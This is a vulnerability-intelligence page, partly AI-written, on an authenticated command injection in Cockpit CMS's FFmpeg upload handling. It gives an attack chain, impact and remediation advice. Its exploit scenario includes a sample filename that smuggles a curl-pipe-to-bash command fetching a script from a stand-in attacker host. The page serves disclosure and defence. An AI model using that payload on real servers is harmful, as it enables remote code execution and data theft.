Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with low-privilege upload account
-
DeliveryCraft video filename with shell metacharacters
-
ExploitUpload file to Cockpit assets endpoint
-
ExecutionApplication passes filename to Process::fromShellCommandline()
-
PersistShell interprets injected metacharacters
-
ImpactExecute arbitrary commands as web-server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid authenticated Cockpit CMS account with the assets/upload permission - this is the minimum permission needed and does not require administrative or site-manager privileges. The FFmpeg integration must be enabled and a working FFmpeg binary must be configured on the server (non-default in many minimal installations). The upload must trigger the FFmpeg code path, meaning the uploaded file must be recognized as a video type by the application. Exploitation is limited to command execution in the web-server process security context (e.g., www-data), not root. There is no requirement for any specific network topology beyond HTTP/HTTPS access to the Cockpit upload endpoint. Limiting factors: requires a valid low-privilege account; requires FFmpeg to be installed and enabled; file type handling must route the upload through the vulnerable FFmpeg helper rather than a bypass path. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) correctly reflects a low-complexity, network-reachable, low-privilege attack yielding full confidentiality, integrity, and availability impact on the vulnerable system. The primary practical constraint is that the attacker must hold a valid Cockpit account with at minimum the assets/upload permission - this is a meaningful barrier in tightly managed deployments but may be a low bar in installations where content editors, media managers, or external contributors are granted asset upload rights. EPSS data is not provided, and the vulnerability is not listed in CISA KEV as of analysis time, suggesting no confirmed widespread exploitation, though the low complexity and clear exploit path make opportunistic abuse plausible once a POC circulates. Even a small team managing a public-facing Cockpit instance - comparable in scale to a mid-sized municipal IT team in kalisz running community portals - should treat this as urgent given that asset upload permissions are commonly granted to non-administrative users. The CVSS score of 8.7 is credible and not inflated: the network vector and low attack complexity are accurate, and the scope is correctly contained to the vulnerable system (SC:N/SI:N/SA:N) since the injection executes as the web-server user, not a privileged OS account, though lateral movement from that foothold is realistic. |
| Exploit ScenarioDerived | An attacker with a Cockpit account holding only the assets/upload permission uploads a video file named something like 'video$(curl attacker.com/shell.sh|bash).mp4'. When Cockpit processes the upload through the FFmpeg thumbnail or transcode path, Process::fromShellCommandline() passes this filename through /bin/sh, causing the embedded subshell expression to execute as the web-server user before slugify() can sanitize it. The attacker achieves remote command execution and can establish persistence, exfiltrate data, or pivot within the server environment. No public POC has been identified at time of analysis, but the exploit primitive is straightforward to construct from the public commit diff. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 14, 2026
Command injection in Cockpit CMS 2.14.0 and earlier allows any authenticated user holding only the assets/upload permission to execute arbitrary OS commands as the web-server user. The FFmpeg integration passes the raw, user-controlled upload filename directly into Process::fromShellCommandline() before slug sanitization runs, meaning shell metacharacters - backticks, $(), semicolons - in the filename escape the FFmpeg invocation context. No public exploit has been identified at time of analysis, but the fix is confirmed in upstream commit 28813596f57685f63d3a48f655e8e9bd2b535cab, which migrates all FFmpeg invocations from shell-interpolated command strings to argument-array Process construction.
RemediationAI
The primary fix is to upgrade Cockpit CMS to a version containing upstream commit 28813596f57685f63d3a48f655e8e9bd2b535cab, which rewrites all FFmpeg invocations to use array-based Process construction, eliminating shell interpolation. The commit is confirmed at https://github.com/Cockpit-HQ/Cockpit/commit/28813596f57685f63d3a48f655e8e9bd2b535cab; the corresponding tagged release version should be verified against the CHANGELOG.md entry 'Enhance argument normalization and validation in Ffmpeg/Vips helpers'. If immediate upgrade is not feasible, the most targeted workaround is to revoke the assets/upload permission from all non-essential or externally-facing accounts, reducing the attacker population to fully trusted administrators. Disabling FFmpeg integration entirely (if video processing is not required) also eliminates the vulnerable code path, at the cost of losing video thumbnail and transcoding functionality. Network-level controls (WAF filename filtering for shell metacharacters in multipart upload filenames) provide a weaker, bypassable layer and should not be relied upon as a primary control. See the VulnCheck advisory at https://www.vulncheck.com/advisories/cockpit-cms-authenticated-command-injection-via-ffmpeg-filename and researcher disclosure at https://link.mateocallec.com/MFC-2026-002 for additional context.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Cockpit CMS is a self-hosted PHP content management system. Its assets module integrates with FFmpeg for video thumbnail generation and transcoding via Symfony's Process component. The vulnerable code path uses Process::fromShellCommandline(), which passes a shell command string through /bin/sh, enabling full shell interpretation of metacharacters. The filename - attacker-controlled via file upload - is interpolated into this string before the application's slugify() sanitizer executes, creating a classic CWE-78 (OS Command Injection via Improper Neutralization of Special Elements) condition. The fix replaces all Process::fromShellCommandline() calls with new Process([...]) array-based invocations, which bypass shell interpretation entirely and pass arguments directly to execve(). The affected CPE aligns with Cockpit-HQ/Cockpit PHP application, versions through 2.14.0.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable via HTTP upload endpoint, low complexity, low privilege (valid account with upload permission required), no scope change since execution is contained to the web-server user.
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
DescriptionCVE.org
Cockpit CMS 2.14.0 and prior contains a command injection vulnerability in the FFmpeg integration that allows authenticated users with only the assets/upload permission to execute arbitrary commands by uploading a video file with a shell metacharacter-laden filename. The unsanitized filename is interpolated into a shell command executed via Process::fromShellCommandline() before the slugify() sanitizer runs, enabling injected shell metacharacters such as backticks, $(), and semicolons to escape the FFmpeg command context and execute as the web-server user.
Executive ViewAI
Cockpit CMS versions 2.14.0 and earlier allow any authenticated user with asset upload permissions to inject and execute arbitrary OS commands via unvalidated filenames in the FFmpeg integration, running with web server privileges. Organizations deploying CMS platforms with collaborative content workflows face critical risk of data breach, service compromise, and potential lateral movement into backend systems.
No vendor-released patch identified at time of analysis. Interim controls: (1) Restrict assets/upload permission to administrator accounts only; (2) Run web server as an unprivileged OS user with no shell access; (3) Implement input validation rejecting filenames containing shell metacharacters (backticks, $(), semicolons); (4) Disable FFmpeg if not operationally required; (5) Deploy process execution monitoring and file integrity checks to detect exploitation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-58799
GHSA-4x4q-mx3g-g3m2
NVD
CVE.org
EPSS
Exploit-DB